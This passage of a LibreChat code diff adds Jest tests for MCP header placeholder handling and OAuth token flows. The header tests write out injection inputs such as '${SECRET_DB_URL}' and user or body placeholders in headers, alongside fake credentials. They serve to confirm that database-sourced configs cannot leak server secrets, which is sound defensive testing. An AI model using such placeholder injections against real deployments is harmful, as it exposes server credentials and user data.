+  const destroySockets = trackSockets(httpServer);
+  const port = await getFreePort();
+  await new Promise<void>((resolve) => httpServer.listen(port, '127.0.0.1', resolve));
+
+  return {
+    url: `http://127.0.0.1:${port}/`,
+    getLastHeaders: () => ({ ...lastHeaders }),
+    close: async () => {
+      const closing = [...sessions.values()].map((t) => t.close().catch(() => undefined));
+      sessions.clear();
+      await Promise.all(closing);
+      await destroySockets();
+    },
+  };
+}
+
+describe('dbSourced header security – integration', () => {
+  let server: TestServer;
+  let conn: MCPConnection | null;
+
+  beforeEach(async () => {
+    server = await createHeaderCapturingServer();
+    conn = null;
+    process.env.SECRET_DB_URL = 'mongodb://admin:password@prod-host:27017/secret';
+    process.env.INTERNAL_API_KEY = 'internal-key-do-not-leak';
+  });
+
+  afterEach(async () => {
+    await safeDisconnect(conn);
+    conn = null;
+    jest.restoreAllMocks();
+    await server.close();
+    delete process.env.SECRET_DB_URL;
+    delete process.env.INTERNAL_API_KEY;
+  });
+
+  it('DB-sourced: resolves {{MCP_API_KEY}} via customUserVars', async () => {
+    const options: MCPOptions = {
+      type: 'streamable-http',
+      url: server.url,
+      headers: {
+        Authorization: 'Bearer {{MCP_API_KEY}}',
+      },
+    };
+
+    const resolved = processMCPEnv({
+      options,
+      dbSourced: true,
+      customUserVars: { MCP_API_KEY: 'user-provided-secret' },
+    });
+
+    conn = new MCPConnection({
+      serverName: 'db-test',
+      serverConfig: resolved,
+      useSSRFProtection: false,
+    });
+
+    if ('headers' in resolved) {
+      conn.setRequestHeaders(resolved.headers || {});
+    }
+
+    await conn.connect();
+    await conn.fetchTools();
+
+    const captured = server.getLastHeaders();
+    expect(captured['authorization']).toBe('Bearer user-provided-secret');
+  });
+
+  it('DB-sourced: does NOT resolve ${ENV_VAR} — literal placeholder sent as header', async () => {
+    const options: MCPOptions = {
+      type: 'streamable-http',
+      url: server.url,
+      headers: {
+        'X-Leaked-DB': '${SECRET_DB_URL}',
+        'X-Leaked-Key': '${INTERNAL_API_KEY}',
+      },
+    };
+
+    const resolved = processMCPEnv({ options, dbSourced: true });
+
+    conn = new MCPConnection({
+      serverName: 'db-test',
+      serverConfig: resolved,
+      useSSRFProtection: false,
+    });
+
+    if ('headers' in resolved) {
+      conn.setRequestHeaders(resolved.headers || {});
+    }
+
+    await conn.connect();
+    await conn.fetchTools();
+
+    const captured = server.getLastHeaders();
+    // The literal placeholders must be sent, NOT the env values
+    expect(captured['x-leaked-db']).toBe('${SECRET_DB_URL}');
+    expect(captured['x-leaked-key']).toBe('${INTERNAL_API_KEY}');
+    // Double-check env vars were NOT injected
+    expect(captured['x-leaked-db']).not.toContain('mongodb://');
+    expect(captured['x-leaked-key']).not.toBe('internal-key-do-not-leak');
+  });
+
+  it('DB-sourced: does NOT resolve {{LIBRECHAT_USER_*}} placeholders', async () => {
+    const user = createTestUser({ id: 'user-secret-id', email: 'private@corp.com' });
+    const options: MCPOptions = {
+      type: 'streamable-http',
+      url: server.url,
+      headers: {
+        'X-User-Id': '{{LIBRECHAT_USER_ID}}',
+        'X-User-Email': '{{LIBRECHAT_USER_EMAIL}}',
+      },
+    };
+
+    const resolved = processMCPEnv({ options, user, dbSourced: true });
+
+    conn = new MCPConnection({
+      serverName: 'db-test',
+      serverConfig: resolved,
+      useSSRFProtection: false,
+    });
+
+    if ('headers' in resolved) {
+      conn.setRequestHeaders(resolved.headers || {});
+    }
+
+    await conn.connect();
+    await conn.fetchTools();
+
+    const captured = server.getLastHeaders();
+    expect(captured['x-user-id']).toBe('{{LIBRECHAT_USER_ID}}');
+    expect(captured['x-user-email']).toBe('{{LIBRECHAT_USER_EMAIL}}');
+    expect(captured['x-user-id']).not.toBe('user-secret-id');
+  });
+
+  it('DB-sourced: does NOT resolve {{LIBRECHAT_BODY_*}} placeholders', async () => {
+    const body = {
+      conversationId: 'conv-secret-123',
+      parentMessageId: 'parent-456',
+      messageId: 'msg-789',
+    };
+    const options: MCPOptions = {
+      type: 'streamable-http',
+      url: server.url,
+      headers: {
+        'X-Conv-Id': '{{LIBRECHAT_BODY_CONVERSATIONID}}',
+      },
+    };
+
+    const resolved = processMCPEnv({ options, body, dbSourced: true });
+
+    conn = new MCPConnection({
+      serverName: 'db-test',
+      serverConfig: resolved,
+      useSSRFProtection: false,
+    });
+
+    if ('headers' in resolved) {
+      conn.setRequestHeaders(resolved.headers || {});
+    }
+
+    await conn.connect();
+    await conn.fetchTools();
+
+    const captured = server.getLastHeaders();
+    expect(captured['x-conv-id']).toBe('{{LIBRECHAT_BODY_CONVERSATIONID}}');
+    expect(captured['x-conv-id']).not.toBe('conv-secret-123');
+  });
+
+  it('DB-sourced: mixed headers — customUserVars resolve, everything else blocked', async () => {
+    const user = createTestUser({ id: 'user-id-value' });
+    const body = { conversationId: 'conv-id-value', parentMessageId: 'p-1', messageId: 'm-1' };
+    const options: MCPOptions = {
+      type: 'streamable-http',
+      url: server.url,
+      headers: {
+        Authorization: 'Bearer {{MCP_API_KEY}}',
+        'X-Env-Leak': '${SECRET_DB_URL}',
+        'X-User-Id': '{{LIBRECHAT_USER_ID}}',
+        'X-Conv-Id': '{{LIBRECHAT_BODY_CONVERSATIONID}}',
+        'X-Static': 'plain-value',
+      },
+    };
+
+    const resolved = processMCPEnv({
+      options,
+      user,
+      body,
+      dbSourced: true,
+      customUserVars: { MCP_API_KEY: 'my-api-key-value' },
+    });
+
+    conn = new MCPConnection({
+      serverName: 'db-test',
+      serverConfig: resolved,
+      useSSRFProtection: false,
+    });
+
+    if ('headers' in resolved) {
+      conn.setRequestHeaders(resolved.headers || {});
+    }
+
+    await conn.connect();
+    await conn.fetchTools();
+
+    const captured = server.getLastHeaders();
+    // customUserVars resolved
+    expect(captured['authorization']).toBe('Bearer my-api-key-value');
+    // env var blocked
+    expect(captured['x-env-leak']).toBe('${SECRET_DB_URL}');
+    // user placeholder blocked
+    expect(captured['x-user-id']).toBe('{{LIBRECHAT_USER_ID}}');
+    // body placeholder blocked
+    expect(captured['x-conv-id']).toBe('{{LIBRECHAT_BODY_CONVERSATIONID}}');
+    // static value unchanged
+    expect(captured['x-static']).toBe('plain-value');
+  });
+
+  it('YAML-sourced (default): resolves ALL placeholder types', async () => {
+    const user = createTestUser({ id: 'yaml-user-id', email: 'yaml@example.com' });
+    const body = { conversationId: 'yaml-conv-id', parentMessageId: 'p-1', messageId: 'm-1' };
+    const options: MCPOptions = {
+      type: 'streamable-http',
+      url: server.url,
+      headers: {
+        Authorization: 'Bearer {{MY_CUSTOM_KEY}}',
+        'X-Env': '${INTERNAL_API_KEY}',
+        'X-User-Id': '{{LIBRECHAT_USER_ID}}',
+        'X-Conv-Id': '{{LIBRECHAT_BODY_CONVERSATIONID}}',
+      },
+    };
+
+    const resolved = processMCPEnv({
+      options,
+      user,
+      body,
+      dbSourced: false,
+      customUserVars: { MY_CUSTOM_KEY: 'yaml-custom-val' },
+    });
+
+    conn = new MCPConnection({
+      serverName: 'yaml-test',
+      serverConfig: resolved,
+      useSSRFProtection: false,
+    });
+
+    if ('headers' in resolved) {
+      conn.setRequestHeaders(resolved.headers || {});
+    }
+
+    await conn.connect();
+    await conn.fetchTools();
+
+    const captured = server.getLastHeaders();
+    // All placeholder types resolved
+    expect(captured['authorization']).toBe('Bearer yaml-custom-val');
+    expect(captured['x-env']).toBe('internal-key-do-not-leak');
+    expect(captured['x-user-id']).toBe('yaml-user-id');
+    expect(captured['x-conv-id']).toBe('yaml-conv-id');
+  });
+
+  it('DB-sourced: URL placeholder ${ENV_VAR} is NOT resolved', () => {
+    const options: MCPOptions = {
+      type: 'streamable-http',
+      url: '${SECRET_DB_URL}/mcp',
+      headers: {},
+    };
+
+    const resolved = processMCPEnv({ options, dbSourced: true });
+    expect((resolved as { url?: string }).url).toBe('${SECRET_DB_URL}/mcp');
+  });
+
+  it('YAML-sourced: URL placeholder ${ENV_VAR} IS resolved', () => {
+    const options: MCPOptions = {
+      type: 'streamable-http',
+      url: '${INTERNAL_API_KEY}/endpoint',
+      headers: {},
+    };
+
+    const resolved = processMCPEnv({ options, dbSourced: false });
+    expect((resolved as { url?: string }).url).toBe('internal-key-do-not-leak/endpoint');
+  });
+
+  it('DB-sourced: multiple customUserVars resolve correctly', async () => {
+    const options: MCPOptions = {
+      type: 'streamable-http',
+      url: server.url,
+      headers: {
+        Authorization: 'Bearer {{API_TOKEN}}',
+        'X-Workspace': '{{WORKSPACE_ID}}',
+        'X-Region': '{{REGION}}',
+      },
+    };
+
+    const resolved = processMCPEnv({
+      options,
+      dbSourced: true,
+      customUserVars: {
+        API_TOKEN: 'tok-abc123',
+        WORKSPACE_ID: 'ws-def456',
+        REGION: 'us-east-1',
+      },
+    });
+
+    conn = new MCPConnection({
+      serverName: 'db-multi-var',
+      serverConfig: resolved,
+      useSSRFProtection: false,
+    });
+
+    if ('headers' in resolved) {
+      conn.setRequestHeaders(resolved.headers || {});
+    }
+
+    await conn.connect();
+    await conn.fetchTools();
+
+    const captured = server.getLastHeaders();
+    expect(captured['authorization']).toBe('Bearer tok-abc123');
+    expect(captured['x-workspace']).toBe('ws-def456');
+    expect(captured['x-region']).toBe('us-east-1');
+  });
+
+  it('DB-sourced: absent customUserVars leaves placeholder unresolved', async () => {
+    const options: MCPOptions = {
+      type: 'streamable-http',
+      url: server.url,
+      headers: {
+        Authorization: 'Bearer {{MCP_API_KEY}}',
+      },
+    };
+
+    // No customUserVars provided at all
+    const resolved = processMCPEnv({ options, dbSourced: true });
+
+    conn = new MCPConnection({
+      serverName: 'db-no-vars',
+      serverConfig: resolved,
+      useSSRFProtection: false,
+    });
+
+    if ('headers' in resolved) {
+      conn.setRequestHeaders(resolved.headers || {});
+    }
+
+    await conn.connect();
+    await conn.fetchTools();
+
+    const captured = server.getLastHeaders();
+    expect(captured['authorization']).toBe('Bearer {{MCP_API_KEY}}');
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/handler.test.ts b/packages/api/src/mcp/__tests__/handler.test.ts
index f7347b8bbe..3b68d88e9c 100644
--- a/packages/api/src/mcp/__tests__/handler.test.ts
+++ b/packages/api/src/mcp/__tests__/handler.test.ts
@@ -1,3 +1,4 @@
+import { TokenExchangeMethodEnum } from 'librechat-data-provider';
 import type { MCPOptions } from 'librechat-data-provider';
 import type { AuthorizationServerMetadata } from '@modelcontextprotocol/sdk/shared/auth.js';
 import { MCPOAuthFlowMetadata, MCPOAuthHandler, MCPOAuthTokens } from '~/mcp/oauth';
@@ -898,7 +899,7 @@ describe('MCPOAuthHandler - Configurable OAuth Metadata', () => {
     it('passes headers to client registration', async () => {
       mockRegisterClient.mockImplementation(async (_, options) => {
         await options.fetchFn?.('http://example.com/register', {});
-        return { client_id: 'test', redirect_uris: [] };
+        return { client_id: 'test', redirect_uris: [], logo_uri: undefined, tos_uri: undefined };
       });
 
       await MCPOAuthHandler.initiateOAuthFlow(
@@ -993,6 +994,308 @@ describe('MCPOAuthHandler - Configurable OAuth Metadata', () => {
     });
   });
 
+  describe('Fetch wrapper client_secret_basic body cleanup', () => {
+    const originalFetch = global.fetch;
+    const mockFetch = jest.fn() as unknown as jest.MockedFunction<typeof fetch>;
+
+    beforeEach(() => {
+      jest.clearAllMocks();
+      global.fetch = mockFetch;
+    });
+
+    afterEach(() => {
+      mockFetch.mockClear();
+    });
+
+    afterAll(() => {
+      global.fetch = originalFetch;
+    });
+
+    it('should remove client_id and client_secret from body when using client_secret_basic via completeOAuthFlow', async () => {
+      const mockFlowManager = {
+        getFlowState: jest.fn().mockResolvedValue({
+          status: 'PENDING',
+          metadata: {
+            serverName: 'test-server',
+            serverUrl: 'https://example.com/mcp',
+            codeVerifier: 'test-verifier',
+            clientInfo: {
+              client_id: 'test-client-id',
+              client_secret: 'test-client-secret',
+              redirect_uris: ['http://localhost:3080/api/mcp/test-server/oauth/callback'],
+              token_endpoint_auth_method: 'client_secret_basic',
+            },
+            metadata: {
+              issuer: 'https://example.com',
+              authorization_endpoint: 'https://example.com/authorize',
+              token_endpoint: 'https://example.com/token',
+              response_types_supported: ['code'],
+              token_endpoint_auth_methods_supported: ['client_secret_basic'],
+            },
+          } as MCPOAuthFlowMetadata,
+        }),
+        completeFlow: jest.fn(),
+      } as unknown as FlowStateManager<MCPOAuthTokens>;
+
+      mockExchangeAuthorization.mockImplementation(async (_, options) => {
+        const body = new URLSearchParams({
+          grant_type: 'authorization_code',
+          code: 'test-auth-code',
+          client_id: 'test-client-id',
+          client_secret: 'test-client-secret',
+        });
+        await options.fetchFn?.('https://example.com/token', {
+          method: 'POST',
+          body,
+        });
+        return { access_token: 'test-token', token_type: 'Bearer', expires_in: 3600 };
+      });
+
+      await MCPOAuthHandler.completeOAuthFlow('test-flow', 'test-auth-code', mockFlowManager, {});
+
+      const callArgs = mockFetch.mock.calls[0];
+      const sentBody = callArgs[1]?.body as string;
+      expect(sentBody).not.toContain('client_id=');
+      expect(sentBody).not.toContain('client_secret=');
+
+      const sentHeaders = callArgs[1]?.headers as Headers;
+      expect(sentHeaders.get('Authorization')).toMatch(/^Basic /);
+    });
+  });
+
+  describe('completeOAuthFlow auth method propagation', () => {
+    const originalFetch = global.fetch;
+    const mockFetch = jest.fn() as unknown as jest.MockedFunction<typeof fetch>;
+
+    beforeEach(() => {
+      jest.clearAllMocks();
+      global.fetch = mockFetch;
+    });
+
+    afterEach(() => {
+      mockFetch.mockClear();
+    });
+
+    afterAll(() => {
+      global.fetch = originalFetch;
+    });
+
+    it('should use client_secret_post when clientInfo specifies that method', async () => {
+      const mockFlowManager = {
+        getFlowState: jest.fn().mockResolvedValue({
+          status: 'PENDING',
+          metadata: {
+            serverName: 'test-server',
+            serverUrl: 'https://example.com/mcp',
+            codeVerifier: 'test-verifier',
+            clientInfo: {
+              client_id: 'test-client-id',
+              client_secret: 'test-client-secret',
+              redirect_uris: ['http://localhost:3080/api/mcp/test-server/oauth/callback'],
+              token_endpoint_auth_method: 'client_secret_post',
+            },
+            metadata: {
+              issuer: 'https://example.com',
+              authorization_endpoint: 'https://example.com/authorize',
+              token_endpoint: 'https://example.com/token',
+              response_types_supported: ['code'],
+              token_endpoint_auth_methods_supported: ['client_secret_post'],
+            },
+          } as MCPOAuthFlowMetadata,
+        }),
+        completeFlow: jest.fn(),
+      } as unknown as FlowStateManager<MCPOAuthTokens>;
+
+      mockExchangeAuthorization.mockImplementation(async (_, options) => {
+        const body = new URLSearchParams({
+          grant_type: 'authorization_code',
+          code: 'test-auth-code',
+        });
+        await options.fetchFn?.('https://example.com/token', {
+          method: 'POST',
+          body,
+        });
+        return { access_token: 'test-token', token_type: 'Bearer', expires_in: 3600 };
+      });
+
+      await MCPOAuthHandler.completeOAuthFlow('test-flow', 'test-auth-code', mockFlowManager, {});
+
+      const callArgs = mockFetch.mock.calls[0];
+      const sentBody = callArgs[1]?.body as string;
+      expect(sentBody).toContain('client_id=test-client-id');
+      expect(sentBody).toContain('client_secret=test-client-secret');
+
+      const sentHeaders = callArgs[1]?.headers as Headers;
+      expect(sentHeaders.has('Authorization')).toBe(false);
+    });
+
+    it('should use none auth when clientInfo has no secret', async () => {
+      const mockFlowManager = {
+        getFlowState: jest.fn().mockResolvedValue({
+          status: 'PENDING',
+          metadata: {
+            serverName: 'test-server',
+            serverUrl: 'https://example.com/mcp',
+            codeVerifier: 'test-verifier',
+            clientInfo: {
+              client_id: 'test-client-id',
+              redirect_uris: ['http://localhost:3080/api/mcp/test-server/oauth/callback'],
+              token_endpoint_auth_method: 'none',
+            },
+            metadata: {
+              issuer: 'https://example.com',
+              authorization_endpoint: 'https://example.com/authorize',
+              token_endpoint: 'https://example.com/token',
+              response_types_supported: ['code'],
+              token_endpoint_auth_methods_supported: ['none'],
+            },
+          } as MCPOAuthFlowMetadata,
+        }),
+        completeFlow: jest.fn(),
+      } as unknown as FlowStateManager<MCPOAuthTokens>;
+
+      mockExchangeAuthorization.mockImplementation(async (_, options) => {
+        const body = new URLSearchParams({
+          grant_type: 'authorization_code',
+          code: 'test-auth-code',
+        });
+        await options.fetchFn?.('https://example.com/token', {
+          method: 'POST',
+          body,
+        });
+        return { access_token: 'test-token', token_type: 'Bearer', expires_in: 3600 };
+      });
+
+      await MCPOAuthHandler.completeOAuthFlow('test-flow', 'test-auth-code', mockFlowManager, {});
+
+      const callArgs = mockFetch.mock.calls[0];
+      const sentBody = callArgs[1]?.body as string;
+      expect(sentBody).toContain('client_id=test-client-id');
+      expect(sentBody).not.toContain('client_secret=');
+
+      const sentHeaders = callArgs[1]?.headers as Headers;
+      expect(sentHeaders.has('Authorization')).toBe(false);
+    });
+  });
+
+  describe('refreshOAuthTokens with forced token_exchange_method', () => {
+    const originalFetch = global.fetch;
+    const mockFetch = jest.fn() as unknown as jest.MockedFunction<typeof fetch>;
+
+    beforeEach(() => {
+      jest.clearAllMocks();
+      global.fetch = mockFetch;
+    });
+
+    afterEach(() => {
+      mockFetch.mockClear();
+    });
+
+    afterAll(() => {
+      global.fetch = originalFetch;
+    });
+
+    it('should force client_secret_post even when server advertises client_secret_basic', async () => {
+      const metadata = {
+        serverName: 'test-server',
+        serverUrl: 'https://auth.example.com',
+        clientInfo: {
+          client_id: 'test-client-id',
+          client_secret: 'test-client-secret',
+          token_endpoint_auth_method: 'client_secret_basic',
+        },
+      };
+
+      mockDiscoverAuthorizationServerMetadata.mockResolvedValueOnce({
+        issuer: 'https://auth.example.com',
+        authorization_endpoint: 'https://auth.example.com/oauth/authorize',
+        token_endpoint: 'https://auth.example.com/oauth/token',
+        token_endpoint_auth_methods_supported: ['client_secret_basic'],
+        response_types_supported: ['code'],
+        jwks_uri: 'https://auth.example.com/.well-known/jwks.json',
+        subject_types_supported: ['public'],
+        id_token_signing_alg_values_supported: ['RS256'],
+      } as AuthorizationServerMetadata);
+
+      mockFetch.mockResolvedValueOnce({
+        ok: true,
+        json: async () => ({
+          access_token: 'new-access-token',
+          refresh_token: 'new-refresh-token',
+          expires_in: 3600,
+        }),
+      } as Response);
+
+      await MCPOAuthHandler.refreshOAuthTokens('refresh-token', metadata, {}, {
+        token_exchange_method: TokenExchangeMethodEnum.DefaultPost,
+      } as MCPOptions['oauth']);
+
+      expect(mockFetch).toHaveBeenCalledWith(
+        'https://auth.example.com/oauth/token',
+        expect.objectContaining({
+          method: 'POST',
+          headers: expect.not.objectContaining({
+            Authorization: expect.any(String),
+          }),
+        }),
+      );
+
+      const callArgs = mockFetch.mock.calls[0];
+      const body = callArgs[1]?.body as URLSearchParams;
+      expect(body.toString()).toContain('client_id=test-client-id');
+      expect(body.toString()).toContain('client_secret=test-client-secret');
+    });
+  });
+
+  describe('revokeOAuthToken with empty auth methods', () => {
+    const originalFetch = global.fetch;
+    const mockFetch = jest.fn() as unknown as jest.MockedFunction<typeof fetch>;
+
+    beforeEach(() => {
+      jest.clearAllMocks();
+      global.fetch = mockFetch;
+    });
+
+    afterEach(() => {
+      mockFetch.mockClear();
+    });
+
+    afterAll(() => {
+      global.fetch = originalFetch;
+    });
+
+    it('should send no client credentials when revocationEndpointAuthMethodsSupported is empty', async () => {
+      const metadata = {
+        serverUrl: 'https://auth.example.com',
+        clientId: 'test-client-id',
+        clientSecret: 'test-client-secret',
+        revocationEndpoint: 'https://auth.example.com/oauth/revoke',
+        revocationEndpointAuthMethodsSupported: [] as string[],
+      };
+
+      mockFetch.mockResolvedValueOnce({
+        ok: true,
+        status: 200,
+      } as Response);
+
+      await MCPOAuthHandler.revokeOAuthToken('test-server', 'test-token', 'access', metadata);
+
+      expect(mockFetch).toHaveBeenCalledWith(
+        expect.any(URL),
+        expect.objectContaining({
+          headers: expect.not.objectContaining({
+            Authorization: expect.any(String),
+          }),
+        }),
+      );
+
+      const callArgs = mockFetch.mock.calls[0];
+      const body = callArgs[1]?.body as string;
+      expect(body).not.toContain('client_id=');
+      expect(body).not.toContain('client_secret=');
+    });
+  });
+
   describe('Fallback OAuth Metadata (Legacy Server Support)', () => {
     const originalFetch = global.fetch;
     const mockFetch = jest.fn();
@@ -1020,6 +1323,8 @@ describe('MCPOAuthHandler - Configurable OAuth Metadata', () => {
         client_id: 'dynamic-client-id',
         client_secret: 'dynamic-client-secret',
         redirect_uris: ['http://localhost:3080/api/mcp/test-server/oauth/callback'],
+        logo_uri: undefined,
+        tos_uri: undefined,
       });
 
       // Mock startAuthorization to return a successful response
@@ -1134,5 +1439,292 @@ describe('MCPOAuthHandler - Configurable OAuth Metadata', () => {
         }),
       );
     });
+
+    describe('path-based URL origin fallback', () => {
+      it('retries with origin URL when path-based discovery fails (stored clientInfo path)', async () => {
+        const metadata = {
+          serverName: 'sentry',
+          serverUrl: 'https://mcp.sentry.dev/mcp',
+          clientInfo: {
+            client_id: 'test-client-id',
+            client_secret: 'test-client-secret',
+            grant_types: ['authorization_code', 'refresh_token'],
+          },
+        };
+
+        const originMetadata = {
+          issuer: 'https://mcp.sentry.dev/',
+          authorization_endpoint: 'https://mcp.sentry.dev/oauth/authorize',
+          token_endpoint: 'https://mcp.sentry.dev/oauth/token',
+          token_endpoint_auth_methods_supported: ['client_secret_post'],
+          response_types_supported: ['code'],
+          jwks_uri: 'https://mcp.sentry.dev/.well-known/jwks.json',
+          subject_types_supported: ['public'],
+          id_token_signing_alg_values_supported: ['RS256'],
+        } as AuthorizationServerMetadata;
+
+        // First call (path-based URL) fails, second call (origin URL) succeeds
+        mockDiscoverAuthorizationServerMetadata
+          .mockResolvedValueOnce(undefined)
+          .mockResolvedValueOnce(originMetadata);
+
+        mockFetch.mockResolvedValueOnce({
+          ok: true,
+          json: async () => ({
+            access_token: 'new-access-token',
+            refresh_token: 'new-refresh-token',
+            expires_in: 3600,
+          }),
+        } as Response);
+
+        const result = await MCPOAuthHandler.refreshOAuthTokens(
+          'test-refresh-token',
+          metadata,
+          {},
+          {},
+        );
+
+        // Discovery attempted twice: once with path URL, once with origin URL
+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(2);
+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenNthCalledWith(
+          1,
+          expect.any(URL),
+          expect.any(Object),
+        );
+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenNthCalledWith(
+          2,
+          expect.any(URL),
+          expect.any(Object),
+        );
+        const firstDiscoveryUrl = mockDiscoverAuthorizationServerMetadata.mock.calls[0][0] as URL;
+        const secondDiscoveryUrl = mockDiscoverAuthorizationServerMetadata.mock.calls[1][0] as URL;
+        expect(firstDiscoveryUrl.href).toBe('https://mcp.sentry.dev/mcp');
+        expect(secondDiscoveryUrl.href).toBe('https://mcp.sentry.dev/');
+
+        // Token endpoint from origin discovery metadata is used (string in stored-clientInfo branch)
+        expect(mockFetch).toHaveBeenCalled();
+        const [fetchUrl, fetchOptions] = mockFetch.mock.calls[0];
+        expect(typeof fetchUrl).toBe('string');
+        expect(fetchUrl).toBe('https://mcp.sentry.dev/oauth/token');
+        expect(fetchOptions).toEqual(expect.objectContaining({ method: 'POST' }));
+        expect(result.access_token).toBe('new-access-token');
+      });
+
+      it('retries with origin URL when path-based discovery fails (no stored clientInfo)', async () => {
+        // No clientInfo — uses the auto-discovered branch
+        const metadata = {
+          serverName: 'sentry',
+          serverUrl: 'https://mcp.sentry.dev/mcp',
+        };
+
+        const originMetadata = {
+          issuer: 'https://mcp.sentry.dev/',
+          authorization_endpoint: 'https://mcp.sentry.dev/oauth/authorize',
+          token_endpoint: 'https://mcp.sentry.dev/oauth/token',
+          response_types_supported: ['code'],
+          jwks_uri: 'https://mcp.sentry.dev/.well-known/jwks.json',
+          subject_types_supported: ['public'],
+          id_token_signing_alg_values_supported: ['RS256'],
+        } as AuthorizationServerMetadata;
+
+        // First call (path-based URL) fails, second call (origin URL) succeeds
+        mockDiscoverAuthorizationServerMetadata
+          .mockResolvedValueOnce(undefined)
+          .mockResolvedValueOnce(originMetadata);
+
+        mockFetch.mockResolvedValueOnce({
+          ok: true,
+          json: async () => ({
+            access_token: 'new-access-token',
+            refresh_token: 'new-refresh-token',
+            expires_in: 3600,
+          }),
+        } as Response);
+
+        const result = await MCPOAuthHandler.refreshOAuthTokens(
+          'test-refresh-token',
+          metadata,
+          {},
+          {},
+        );
+
+        // Discovery attempted twice: once with path URL, once with origin URL
+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(2);
+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenNthCalledWith(
+          1,
+          expect.any(URL),
+          expect.any(Object),
+        );
+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenNthCalledWith(
+          2,
+          expect.any(URL),
+          expect.any(Object),
+        );
+        const firstDiscoveryUrl = mockDiscoverAuthorizationServerMetadata.mock.calls[0][0] as URL;
+        const secondDiscoveryUrl = mockDiscoverAuthorizationServerMetadata.mock.calls[1][0] as URL;
+        expect(firstDiscoveryUrl.href).toBe('https://mcp.sentry.dev/mcp');
+        expect(secondDiscoveryUrl.href).toBe('https://mcp.sentry.dev/');
+
+        // Token endpoint from origin discovery metadata is used (URL object in auto-discovered branch)
+        expect(mockFetch).toHaveBeenCalled();
+        const [fetchUrl, fetchOptions] = mockFetch.mock.calls[0];
+        expect(fetchUrl).toBeInstanceOf(URL);
+        expect(fetchUrl.toString()).toBe('https://mcp.sentry.dev/oauth/token');
+        expect(fetchOptions).toEqual(expect.objectContaining({ method: 'POST' }));
+        expect(result.access_token).toBe('new-access-token');
+      });
+
+      it('falls back to /token when both path and origin discovery fail', async () => {
+        const metadata = {
+          serverName: 'sentry',
+          serverUrl: 'https://mcp.sentry.dev/mcp',
+          clientInfo: {
+            client_id: 'test-client-id',
+            client_secret: 'test-client-secret',
+            grant_types: ['authorization_code', 'refresh_token'],
+          },
+        };
+
+        // Both path AND origin discovery return undefined
+        mockDiscoverAuthorizationServerMetadata
+          .mockResolvedValueOnce(undefined)
+          .mockResolvedValueOnce(undefined);
+
+        mockFetch.mockResolvedValueOnce({
+          ok: true,
+          json: async () => ({
+            access_token: 'new-access-token',
+            refresh_token: 'new-refresh-token',
+            expires_in: 3600,
+          }),
+        } as Response);
+
+        const result = await MCPOAuthHandler.refreshOAuthTokens(
+          'test-refresh-token',
+          metadata,
+          {},
+          {},
+        );
+
+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(2);
+
+        // Falls back to /token relative to server URL origin
+        const [fetchUrl] = mockFetch.mock.calls[0];
+        expect(String(fetchUrl)).toBe('https://mcp.sentry.dev/token');
+        expect(result.access_token).toBe('new-access-token');
+      });
+
+      it('does not retry with origin when server URL has no path (root URL)', async () => {
+        const metadata = {
+          serverName: 'test-server',
+          serverUrl: 'https://auth.example.com/',
+          clientInfo: {
+            client_id: 'test-client-id',
+            client_secret: 'test-client-secret',
+          },
+        };
+
+        // Root URL discovery fails — no retry
+        mockDiscoverAuthorizationServerMetadata.mockResolvedValueOnce(undefined);
+
+        mockFetch.mockResolvedValueOnce({
+          ok: true,
+          json: async () => ({ access_token: 'new-token', expires_in: 3600 }),
+        } as Response);
+
+        await MCPOAuthHandler.refreshOAuthTokens('test-refresh-token', metadata, {}, {});
+
+        // Only one discovery attempt for a root URL
+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(1);
+      });
+
+      it('retries with origin when path-based discovery throws', async () => {
+        const metadata = {
+          serverName: 'sentry',
+          serverUrl: 'https://mcp.sentry.dev/mcp',
+          clientInfo: {
+            client_id: 'test-client-id',
+            client_secret: 'test-client-secret',
+            grant_types: ['authorization_code', 'refresh_token'],
+          },
+        };
+
+        const originMetadata = {
+          issuer: 'https://mcp.sentry.dev/',
+          authorization_endpoint: 'https://mcp.sentry.dev/oauth/authorize',
+          token_endpoint: 'https://mcp.sentry.dev/oauth/token',
+          token_endpoint_auth_methods_supported: ['client_secret_post'],
+          response_types_supported: ['code'],
+        } as AuthorizationServerMetadata;
+
+        // First call throws, second call succeeds
+        mockDiscoverAuthorizationServerMetadata
+          .mockRejectedValueOnce(new Error('Network error'))
+          .mockResolvedValueOnce(originMetadata);
+
+        mockFetch.mockResolvedValueOnce({
+          ok: true,
+          json: async () => ({
+            access_token: 'new-access-token',
+            refresh_token: 'new-refresh-token',
+            expires_in: 3600,
+          }),
+        } as Response);
+
+        const result = await MCPOAuthHandler.refreshOAuthTokens(
+          'test-refresh-token',
+          metadata,
+          {},
+          {},
+        );
+
+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(2);
+        const [fetchUrl] = mockFetch.mock.calls[0];
+        expect(String(fetchUrl)).toBe('https://mcp.sentry.dev/oauth/token');
+        expect(result.access_token).toBe('new-access-token');
+      });
+
+      it('propagates the throw when root URL discovery throws', async () => {
+        const metadata = {
+          serverName: 'test-server',
+          serverUrl: 'https://auth.example.com/',
+          clientInfo: {
+            client_id: 'test-client-id',
+            client_secret: 'test-client-secret',
+          },
+        };
+
+        mockDiscoverAuthorizationServerMetadata.mockRejectedValueOnce(
+          new Error('Discovery failed'),
+        );
+
+        await expect(
+          MCPOAuthHandler.refreshOAuthTokens('test-refresh-token', metadata, {}, {}),
+        ).rejects.toThrow('Discovery failed');
+
+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(1);
+      });
+
+      it('propagates the throw when both path and origin discovery throw', async () => {
+        const metadata = {
+          serverName: 'sentry',
+          serverUrl: 'https://mcp.sentry.dev/mcp',
+          clientInfo: {
+            client_id: 'test-client-id',
+            client_secret: 'test-client-secret',
+          },
+        };
+
+        mockDiscoverAuthorizationServerMetadata
+          .mockRejectedValueOnce(new Error('Network error'))
+          .mockRejectedValueOnce(new Error('Origin also failed'));
+
+        await expect(
+          MCPOAuthHandler.refreshOAuthTokens('test-refresh-token', metadata, {}, {}),
+        ).rejects.toThrow('Origin also failed');
+
